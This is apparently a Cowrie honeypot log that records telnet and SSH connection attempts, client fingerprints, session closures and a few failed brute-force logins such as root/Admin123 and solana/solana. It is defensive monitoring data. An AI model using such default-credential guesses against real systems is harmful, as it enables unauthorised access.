{"eventid":"cowrie.session.closed","duration":33.46946597099304,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:56.547774Z","src_ip":"128.199.8.54","session":"14a8084b9ec7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.65886044502258,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:00.768842Z","src_ip":"128.199.8.54","session":"a01bcd3fae53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.656968116760254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:01.252433Z","src_ip":"128.199.8.54","session":"dc5e21d56da3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00265836715698,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:02.731883Z","src_ip":"212.55.149.117","session":"1e96c15a278a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":63419,"dst_ip":"10.17.0.5","dst_port":23,"session":"7acd277d8293","protocol":"telnet","message":"New connection: 212.55.149.117:63419 (10.17.0.5:23) [session: 7acd277d8293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:04.687788Z"}
{"eventid":"cowrie.session.closed","duration":34.57331323623657,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:07.956643Z","src_ip":"128.199.8.54","session":"9c580f7acb3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60750,"dst_ip":"159.203.135.109","dst_port":23,"session":"f733961f94e5","protocol":"telnet","message":"New connection: 128.199.8.54:60750 (159.203.135.109:23) [session: f733961f94e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:09.009010Z"}
{"eventid":"cowrie.session.closed","duration":34.61195468902588,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:09.176814Z","src_ip":"128.199.8.54","session":"1d74110ba148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37854,"dst_ip":"159.203.135.109","dst_port":23,"session":"9253fe700845","protocol":"telnet","message":"New connection: 128.199.8.54:37854 (159.203.135.109:23) [session: 9253fe700845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:11.708436Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50814,"dst_ip":"159.203.135.109","dst_port":23,"session":"f44fba581406","protocol":"telnet","message":"New connection: 128.199.8.54:50814 (159.203.135.109:23) [session: f44fba581406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:18.182357Z"}
{"eventid":"cowrie.session.closed","duration":32.895124197006226,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:19.755458Z","src_ip":"128.199.8.54","session":"4cd83ae13c3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.95725393295288,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:27.357733Z","src_ip":"128.199.8.54","session":"904d088af50e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.63361120223999,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:27.564269Z","src_ip":"128.199.8.54","session":"41ceecb899f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.152143478393555,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:27.582298Z","src_ip":"128.199.8.54","session":"bd2e51cd1728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.2705864906311,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:29.700951Z","src_ip":"128.199.8.54","session":"3bccc39347b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46846,"dst_ip":"159.203.135.109","dst_port":22,"session":"82bfb24166f5","protocol":"ssh","message":"New connection: 2.57.122.208:46846 (159.203.135.109:22) [session: 82bfb24166f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:34.713874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:34.966287Z","src_ip":"2.57.122.208","session":"82bfb24166f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:34.971935Z","src_ip":"2.57.122.208","session":"82bfb24166f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:36.546100Z","src_ip":"2.57.122.208","session":"82bfb24166f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33350,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a70dbde5364","protocol":"telnet","message":"New connection: 128.199.8.54:33350 (159.203.135.109:23) [session: 2a70dbde5364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:36.997799Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:37.824439Z","src_ip":"2.57.122.208","session":"82bfb24166f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.74085450172424,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:42.749805Z","src_ip":"128.199.8.54","session":"f733961f94e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44150,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4ab8b93a6ab","protocol":"telnet","message":"New connection: 128.199.8.54:44150 (159.203.135.109:23) [session: b4ab8b93a6ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:43.280787Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49982,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ad904a4559d","protocol":"telnet","message":"New connection: 128.199.8.54:49982 (159.203.135.109:23) [session: 9ad904a4559d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:45.150517Z"}
{"eventid":"cowrie.session.closed","duration":35.13504910469055,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:46.843403Z","src_ip":"128.199.8.54","session":"9253fe700845","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.02104997634888,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:56:51.203306Z","src_ip":"128.199.8.54","session":"f44fba581406","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.474547386169434,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:57:12.472240Z","src_ip":"128.199.8.54","session":"2a70dbde5364","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.4400315284729,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:57:16.720694Z","src_ip":"128.199.8.54","session":"b4ab8b93a6ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.80880856513977,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:57:18.959214Z","src_ip":"128.199.8.54","session":"9ad904a4559d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":54762,"dst_ip":"159.203.135.109","dst_port":23,"session":"524a584d78d5","protocol":"telnet","message":"New connection: 45.148.121.166:54762 (159.203.135.109:23) [session: 524a584d78d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:57:29.286376Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":34848,"dst_ip":"159.203.135.109","dst_port":22,"session":"a05132d747be","protocol":"ssh","message":"New connection: 80.94.92.186:34848 (159.203.135.109:22) [session: a05132d747be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:57:41.026189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:57:41.100612Z","src_ip":"80.94.92.186","session":"a05132d747be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:57:41.255783Z","src_ip":"80.94.92.186","session":"a05132d747be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:57:42.595478Z","src_ip":"80.94.92.186","session":"a05132d747be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:57:43.852469Z","src_ip":"80.94.92.186","session":"a05132d747be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33112,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc0d997432f0","protocol":"telnet","message":"New connection: 128.199.8.54:33112 (159.203.135.109:23) [session: cc0d997432f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:57:46.174131Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50486,"dst_ip":"159.203.135.109","dst_port":23,"session":"71b4f0d577a2","protocol":"telnet","message":"New connection: 128.199.8.54:50486 (159.203.135.109:23) [session: 71b4f0d577a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:57:55.793224Z"}
{"eventid":"cowrie.session.closed","duration":31.574758768081665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:00.860989Z","src_ip":"45.148.121.166","session":"524a584d78d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01359915733337,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:04.701307Z","src_ip":"212.55.149.117","session":"7acd277d8293","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52096,"dst_ip":"159.203.135.109","dst_port":23,"session":"7467b22789bd","protocol":"telnet","message":"New connection: 128.199.8.54:52096 (159.203.135.109:23) [session: 7467b22789bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:09.980474Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55982,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ac5543ceb6c","protocol":"telnet","message":"New connection: 128.199.8.54:55982 (159.203.135.109:23) [session: 5ac5543ceb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:12.952494Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37542,"dst_ip":"159.203.135.109","dst_port":23,"session":"03dd5da436bc","protocol":"telnet","message":"New connection: 128.199.8.54:37542 (159.203.135.109:23) [session: 03dd5da436bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:17.987857Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39538,"dst_ip":"159.203.135.109","dst_port":23,"session":"dba56cdf6aa2","protocol":"telnet","message":"New connection: 128.199.8.54:39538 (159.203.135.109:23) [session: dba56cdf6aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:18.000562Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46484,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ec60918d0eb","protocol":"telnet","message":"New connection: 128.199.8.54:46484 (159.203.135.109:23) [session: 2ec60918d0eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:21.542474Z"}
{"eventid":"cowrie.session.closed","duration":35.55286765098572,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:21.726882Z","src_ip":"128.199.8.54","session":"cc0d997432f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":14826,"dst_ip":"159.203.135.109","dst_port":22,"session":"9912dda702a3","protocol":"ssh","message":"New connection: 113.190.252.123:14826 (159.203.135.109:22) [session: 9912dda702a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:23.747782Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:24.291896Z","src_ip":"113.190.252.123","session":"9912dda702a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.628538608551025,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:28.421600Z","src_ip":"128.199.8.54","session":"71b4f0d577a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58094,"dst_ip":"159.203.135.109","dst_port":23,"session":"369044856813","protocol":"telnet","message":"New connection: 128.199.8.54:58094 (159.203.135.109:23) [session: 369044856813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:29.342995Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40156,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb09866e37ec","protocol":"telnet","message":"New connection: 128.199.8.54:40156 (159.203.135.109:23) [session: bb09866e37ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:33.537095Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34850,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fcd5c2256bc","protocol":"telnet","message":"New connection: 128.199.8.54:34850 (159.203.135.109:23) [session: 7fcd5c2256bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:33.791860Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43722,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbbc043a6f46","protocol":"telnet","message":"New connection: 128.199.8.54:43722 (159.203.135.109:23) [session: bbbc043a6f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:34.258142Z"}
{"eventid":"cowrie.session.closed","duration":33.16283202171326,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:43.143157Z","src_ip":"128.199.8.54","session":"7467b22789bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33982,"dst_ip":"159.203.135.109","dst_port":23,"session":"51d67dea9df9","protocol":"telnet","message":"New connection: 128.199.8.54:33982 (159.203.135.109:23) [session: 51d67dea9df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:44.338654Z"}
{"eventid":"cowrie.session.closed","duration":32.27206230163574,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:45.224431Z","src_ip":"128.199.8.54","session":"5ac5543ceb6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":38248,"dst_ip":"10.17.0.5","dst_port":22,"session":"7eb57d23fac1","protocol":"ssh","message":"New connection: 103.15.226.202:38248 (10.17.0.5:22) [session: 7eb57d23fac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:50.135360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:50.140738Z","src_ip":"103.15.226.202","session":"7eb57d23fac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:50.382711Z","src_ip":"103.15.226.202","session":"7eb57d23fac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:51.120734Z","src_ip":"103.15.226.202","session":"7eb57d23fac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.22963070869446,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:52.217362Z","src_ip":"128.199.8.54","session":"03dd5da436bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:52.365310Z","src_ip":"103.15.226.202","session":"7eb57d23fac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.580498695373535,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:52.580936Z","src_ip":"128.199.8.54","session":"dba56cdf6aa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.58273768424988,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:55.125119Z","src_ip":"128.199.8.54","session":"2ec60918d0eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.212.211","src_port":60426,"dst_ip":"10.17.0.5","dst_port":23,"session":"758914c91ea8","protocol":"telnet","message":"New connection: 208.109.212.211:60426 (10.17.0.5:23) [session: 758914c91ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:58:58.724632Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41118,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a635f735070","protocol":"telnet","message":"New connection: 128.199.8.54:41118 (159.203.135.109:23) [session: 1a635f735070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:01.578699Z"}
{"eventid":"cowrie.session.closed","duration":33.16565728187561,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:02.508541Z","src_ip":"128.199.8.54","session":"369044856813","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47688,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7c900da2b2d","protocol":"telnet","message":"New connection: 128.199.8.54:47688 (159.203.135.109:23) [session: a7c900da2b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:06.991053Z"}
{"eventid":"cowrie.session.closed","duration":33.498531103134155,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:07.035502Z","src_ip":"128.199.8.54","session":"bb09866e37ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55557465553284,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:07.347344Z","src_ip":"128.199.8.54","session":"7fcd5c2256bc","protocol":"telnet"}
